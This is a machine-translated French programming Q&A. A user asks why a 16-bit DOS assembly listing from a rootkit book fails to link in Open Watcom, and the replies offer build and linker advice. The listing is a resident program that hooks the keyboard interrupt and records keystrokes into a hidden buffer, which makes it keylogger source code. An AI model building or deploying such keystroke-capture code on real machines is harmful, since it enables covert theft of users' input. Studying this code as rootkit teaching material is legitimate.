2012-11-17 1 views
1

Je suis en train de compiler un extrait de code assembleur 16 bits de l'arsenal de rootkit livre IDE WATCOM ouvert. Il donne l'erreur "plusieurs adresses de départ trouvées". Ayant une connaissance très limitée de l'assemblage, je n'ai pas été capable de le résoudre. Voici le code:code assembleur Compiler 16 bits avec erreur WATCOM ouverte (plusieurs adresses de départ trouvées)

CSEG SEGMENT BYTE PUBLIC 'CODE' 
ASSUME CS:CSEG,DS:CSEG,SS:CSEG 
ORG 100H 


_here: 

JMP _main 
JMP _overData 

_buffer DB 512 DUP('W') 
_terminator DB 'Z' 
_index DW 0H 
_oldISR DD 0H 
_chkISR DD 0h 
_overData: 


_getBufferAddr: 

STI 
MOV DX, CS 
LEA DI,_buffer 
IRET 


_hookBIOS: 

PUSH AX 
PUSH BX 

PUSHF 
CALL CS:_oldISR 

MOV AH, 01H 
PUSHF 
CALL CS:_chkISR 

CLI 
PUSH DS 
PUSH CS 
POP DS 

jz _hb_Exit 
LEA BX,_buffer 
PUSH SI 
MOV SI,WORD PTR[_index] 
MOV DS:[BX+SI],AL 
INC SI 
MOV WORD PTR[_index], SI 
POP SI 


_hb_Exit: 

POP DS 
POP AX 
POP BX 

STI 
IRET 


_install: 

LEA DX,_getBufferAddr 
MOV CX,CS 
MOV DS,CX 
MOV AH,25H 
MOV AL,187 
INT 21H 

MOV AH,35H 
MOV AL,9H 
INT 21H 
MOV WORD PTR _oldISR[0],BX 
MOV WORD PTR _oldISR[2],ES 

MOV AH, 35H 
MOV AL,16H 
INT 21H 
MOV WORD PTR _chkISR[0],BX 
MOV WORD PTR _chkISR[2],ES 

MOV AH,25H 
MOV AL,9H 
MOV CX,CS 
MOV DS,CX 
LEA DX,_hookBIOS 
INT 21H 

RET 

PUBLIC _main 


_main: 

PUSH BP 
MOV BP,SP 
MOV AX,CS 
MOV SS,AX 
LEA AX,_localStk 
ADD AX,100H 

CALL NEAR PTR _install 

MOV AH, 31H 
MOV AL,0 
MOV DX, 200H 
INT 21H 

POP BP 
RET 

PUBLIC _localStk 
_localStk DB 256 DUP(?) 

CSEG ENDS 
END _here 

Veuillez, aidez-moi.

+0

Seule une supposition, mais peut-être quand l'éditeur de liens voit public ' _main', il lie dans la bibliothèque standard, qui a son propre point d'entrée? Je ne vois aucune raison de faire '_main' (ou d'utiliser ce nom à tous, pour être honnête) ici. –

Répondre

0

Ce que je fais pour créer des fichiers .com avec OpenWatcom est de compiler le fichier d'assemblage avec wasm puis utilisez wlink.

wasm hello.asm 
wlink sys dos com file hello.o 

Ici, le fichier objet a l'extension .o qui est ce que wasm produit sur Linux. Dans DOS, Windows et OS/2, il sera probablement obj afin d'ajuster la ligne de commande en fonction de votre système.

J'utilise .model minuscule et .286p au début et à laisser le CSEG et PRÉSUMER lignes. Je suppose que cela n'a pas d'importance cependant.